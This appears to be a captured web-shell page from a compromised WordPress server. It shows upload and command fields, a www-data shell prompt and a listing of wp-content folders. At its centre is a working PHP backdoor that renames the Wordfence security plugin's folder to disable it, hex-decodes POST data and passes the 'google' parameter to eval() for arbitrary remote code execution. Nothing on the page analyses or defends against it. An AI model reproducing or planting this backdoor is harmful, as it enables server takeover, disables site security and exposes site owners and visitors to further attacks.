[ Avaa Bypassed ]




Upload:

Command:

www-data@18.118.7.80: ~ $
<?php 
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}
foreach($_POST as $k => $v){
	$kk = @pack("H*", $k);
	$_POST[$kk]=@pack("H*", $v);
}
@eval($_POST['google']);
echo 'AGM';
?>

Filemanager

Name Type Size Permission Actions
aiowps_backups Folder 0755
cache Folder 0777
fonts Folder 0777
languages Folder 0777
mu-plugins Folder 0755
plugins Folder 0777
themes Folder 0777
updraft Folder 0755
upgrade Folder 0777
upgrade-temp-backup Folder 0777
uploads Folder 0777
wflogs Folder 0755
about.php File 347 B 0644
admin.php File 351 B 0644
debug.log File 3.25 MB 0644
index.php File 28 B 0777